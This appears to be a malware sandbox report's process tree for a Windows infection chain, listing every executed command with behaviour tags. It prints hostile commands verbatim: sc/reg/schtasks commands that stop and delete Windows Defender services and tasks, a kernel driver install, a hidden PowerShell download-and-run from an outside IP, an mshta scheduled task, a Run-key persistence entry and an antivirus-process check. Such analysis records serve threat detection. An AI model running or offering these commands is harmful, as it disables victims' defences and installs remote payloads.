        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5108 -prefsLen 35012 -prefMapHandle 5112 -prefMapSize 270279 -ipcHandle 5036 -initialChannelId {84adbb56-e567-4924-8538-2331aad62955} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        Checks processor information in registry
        
        PID:4204
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5280 -prefsLen 32900 -prefMapHandle 5284 -prefMapSize 270279 -jsInitHandle 5288 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5296 -initialChannelId {97c66c8f-5385-400f-83f4-176977e88f45} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        Checks processor information in registry
        
        PID:4640
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1628 -prefsLen 32952 -prefMapHandle 5452 -prefMapSize 270279 -jsInitHandle 5456 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4776 -initialChannelId {2931e60d-240d-4b41-97c7-057ea27bf2fe} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:4964
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5436 -prefsLen 32952 -prefMapHandle 5432 -prefMapSize 270279 -jsInitHandle 5428 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3236 -initialChannelId {98059df6-f538-494a-ae50-86c3f9d1b9e5} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:6060
- - C:\Users\Admin\AppData\Local\Temp\10475140101\d8b660d9e5.exe
    "C:\Users\Admin\AppData\Local\Temp\10475140101\d8b660d9e5.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3252
  - - C:\Users\Admin\AppData\Local\Temp\272.exe
      "C:\Users\Admin\AppData\Local\Temp\272.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:3164
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F2DC.tmp\F2DD.tmp\F2DE.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
        5⤵
        
        PID:3028
      - C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe" go
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3248
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F388.tmp\F389.tmp\F38A.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
        7⤵
        Drops file in Program Files directory
        
        PID:6128
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        8⤵
        Launches sc.exe
        
        PID:2932
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        8⤵
        Launches sc.exe
        
        PID:5004
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:3264
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        8⤵
        Launches sc.exe
        
        PID:2476
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        8⤵
        Launches sc.exe
        
        PID:3736
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4948
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5988
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        8⤵
        Launches sc.exe
        
        PID:2680
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        8⤵
        Launches sc.exe
        
        PID:4084
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        8⤵
        
        PID:5336
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        8⤵
        Launches sc.exe
        
        PID:2708
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        8⤵
        Launches sc.exe
        
        PID:5084
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        8⤵
        
        PID:5280
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        8⤵
        Launches sc.exe
        
        PID:3708
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        8⤵
        Launches sc.exe
        
        PID:1916
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        8⤵
        
        PID:2856
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        8⤵
        Launches sc.exe
        
        PID:2844
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        8⤵
        Launches sc.exe
        
        PID:5944
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        8⤵
        
        PID:5832
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        8⤵
        Launches sc.exe
        
        PID:3268
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        8⤵
        Launches sc.exe
        
        PID:916
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        8⤵
        Modifies security service
        
        PID:1648
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        8⤵
        Launches sc.exe
        
        PID:5844
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        8⤵
        Launches sc.exe
        
        PID:5484
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        8⤵
        
        PID:4300
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        8⤵
        Launches sc.exe
        
        PID:4552
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        8⤵
        Launches sc.exe
        
        PID:3264
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        8⤵
        
        PID:5924
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        8⤵
        Launches sc.exe
        
        PID:856
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        8⤵
        Launches sc.exe
        
        PID:1280
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        8⤵
        
        PID:1972
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        8⤵
        Launches sc.exe
        
        PID:1832
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        8⤵
        Launches sc.exe
        
        PID:4504
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        8⤵
        
        PID:3100
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        8⤵
        Launches sc.exe
        
        PID:5044
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        8⤵
        Launches sc.exe
        
        PID:1256
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        8⤵
        
        PID:4172
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        8⤵
        Launches sc.exe
        
        PID:2832
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        8⤵
        Launches sc.exe
        
        PID:2252
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        8⤵
        
        PID:5124
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        8⤵
        Launches sc.exe
        
        PID:2560
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        8⤵
        Launches sc.exe
        
        PID:5412
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        8⤵
        
        PID:212
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        8⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        8⤵
        Launches sc.exe
        
        PID:4276
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        8⤵
        
        PID:4984
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        8⤵
        Launches sc.exe
        
        PID:1604
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        8⤵
        Launches sc.exe
        
        PID:332
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        8⤵
        
        PID:4848
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        8⤵
        Launches sc.exe
        
        PID:2900
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        8⤵
        Launches sc.exe
        
        PID:5560
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        8⤵
        
        PID:3400
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        8⤵
        Launches sc.exe
        
        PID:2680
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        8⤵
        Launches sc.exe
        
        PID:1464
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        8⤵
        
        PID:2272
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        8⤵
        
        PID:5248
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        8⤵
        
        PID:2856
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        8⤵
        
        PID:4696
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        8⤵
        
        PID:5380
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        8⤵
        Launches sc.exe
        
        PID:1648
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        8⤵
        Launches sc.exe
        
        PID:2804
- - C:\Users\Admin\AppData\Local\Temp\10475150101\2169777ade.exe
    "C:\Users\Admin\AppData\Local\Temp\10475150101\2169777ade.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1280
- - C:\Users\Admin\AppData\Local\Temp\10475160101\b248538712.exe
    "C:\Users\Admin\AppData\Local\Temp\10475160101\b248538712.exe"
    3⤵
    - Executes dropped EXE
    PID:2068
- - C:\Users\Admin\AppData\Local\Temp\10475170101\0a3ed10094.exe
    "C:\Users\Admin\AppData\Local\Temp\10475170101\0a3ed10094.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:6008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn hgAWkmaVgSA /tr "mshta C:\Users\Admin\AppData\Local\Temp\gWHkBuce6.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      PID:3436
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn hgAWkmaVgSA /tr "mshta C:\Users\Admin\AppData\Local\Temp\gWHkBuce6.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4484
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\gWHkBuce6.hta
      4⤵
      Checks computer location settings
      PID:852
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'BJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1916
      - C:\Users\Admin\AppData\Local\TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
        
        "C:\Users\Admin\AppData\Local\TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2900
- - C:\Users\Admin\AppData\Local\Temp\10475180101\a2369d1045.exe
    "C:\Users\Admin\AppData\Local\Temp\10475180101\a2369d1045.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:3232
- - C:\Users\Admin\AppData\Local\Temp\10475190101\1bf9ea8b3e.exe
    "C:\Users\Admin\AppData\Local\Temp\10475190101\1bf9ea8b3e.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:2956
  - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
      "C:\Users\Admin\AppData\Local\Temp\10475190101\1bf9ea8b3e.exe"
      4⤵
      Downloads MZ/PE file
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1324
- - C:\Users\Admin\AppData\Local\Temp\10475200101\29f4b3c038.exe
    "C:\Users\Admin\AppData\Local\Temp\10475200101\29f4b3c038.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    PID:3136
  - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
      "C:\Users\Admin\AppData\Local\Temp\10475200101\29f4b3c038.exe"
      4⤵
      Downloads MZ/PE file
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5852
- - C:\Users\Admin\AppData\Local\Temp\10475210101\YMauSAr.exe
    "C:\Users\Admin\AppData\Local\Temp\10475210101\YMauSAr.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    PID:3704
  - - C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe
      C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe
      4⤵
      Executes dropped EXE
      PID:2340
    - - C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe
        5⤵
        Executes dropped EXE
        
        PID:5696
      - C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe
        6⤵
        Executes dropped EXE
        
        PID:3660
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe
        7⤵
        Executes dropped EXE
        
        PID:2964
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe
        8⤵
        Executes dropped EXE
        
        PID:1396
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5020
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        10⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4908
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe
        11⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6120
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe
        12⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3612
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        13⤵
        Executes dropped EXE
        
        PID:3144
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe
        14⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1256
        
        C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe
        15⤵
        Executes dropped EXE
        
        PID:3016
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe
        16⤵
        Executes dropped EXE
        
        PID:1180
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe
        17⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3700
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        18⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:212
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe
        19⤵
        Executes dropped EXE
        
        PID:4960
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe
        20⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1100
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe
        21⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5228
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe
        22⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5176
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        23⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:404
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
        24⤵
        Executes dropped EXE
        
        PID:2812
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe
        25⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4908
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        26⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3248
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
        27⤵
        Executes dropped EXE
        
        PID:1832
        
        C:\Windows\SysWOW64\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javasupport_update.exe"
        28⤵
        Modifies registry key
        
        PID:4992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javasupport_update.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe\"'"
        28⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5124
- - C:\Users\Admin\AppData\Local\Temp\10475220101\qhjMWht.exe
    "C:\Users\Admin\AppData\Local\Temp\10475220101\qhjMWht.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1100
- - C:\Users\Admin\AppData\Local\Temp\10475230101\9sWdA2p.exe
    "C:\Users\Admin\AppData\Local\Temp\10475230101\9sWdA2p.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3016
- - C:\Users\Admin\AppData\Local\Temp\10475240101\larBxd7.exe
    "C:\Users\Admin\AppData\Local\Temp\10475240101\larBxd7.exe"
    3⤵
    - Checks computer location settings
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:5124
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5140
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        
        PID:4276
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        
        PID:2076
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        5⤵
        
        PID:4436
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3520
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3068
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        5⤵
        
        PID:1104
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        5⤵
        
        PID:2812
    - - C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5796
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5044
- - C:\Users\Admin\AppData\Local\Temp\10475250101\TbV75ZR.exe
    "C:\Users\Admin\AppData\Local\Temp\10475250101\TbV75ZR.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:4508
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      PID:1968
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 180
        5⤵
        Program crash
        
        PID:4504
- - C:\Users\Admin\AppData\Local\Temp\10475260101\LJl8AAr.exe
    "C:\Users\Admin\AppData\Local\Temp\10475260101\LJl8AAr.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:3936
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2700
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:3332
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1052
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3660
- - C:\Users\Admin\AppData\Local\Temp\10475270101\910d28d4d6.exe
    "C:\Users\Admin\AppData\Local\Temp\10475270101\910d28d4d6.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3560
- - C:\Users\Admin\AppData\Local\Temp\10475280101\mTk60rz.exe
    "C:\Users\Admin\AppData\Local\Temp\10475280101\mTk60rz.exe"
    3⤵
    PID:3200
  - - C:\Users\Admin\AppData\Local\Temp\onefile_3200_133884028127651067\ZSoeRVBe.exe
      C:\Users\Admin\AppData\Local\Temp\10475280101\mTk60rz.exe
      4⤵
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:540
- - C:\Users\Admin\AppData\Local\Temp\10475290101\Rm3cVPI.exe
    "C:\Users\Admin\AppData\Local\Temp\10475290101\Rm3cVPI.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1252
- - C:\Users\Admin\AppData\Local\Temp\10475300101\n0hEgR9.exe
    "C:\Users\Admin\AppData\Local\Temp\10475300101\n0hEgR9.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:5248
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2348

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5844

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe"
1⤵
PID:3652
- C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
  C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
  2⤵
  - Executes dropped EXE
  PID:4000
- - C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
    C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
    3⤵
    - Executes dropped EXE
    PID:6052
  - - C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe
      C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe
      4⤵
      Executes dropped EXE
      PID:872
    - - C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4508
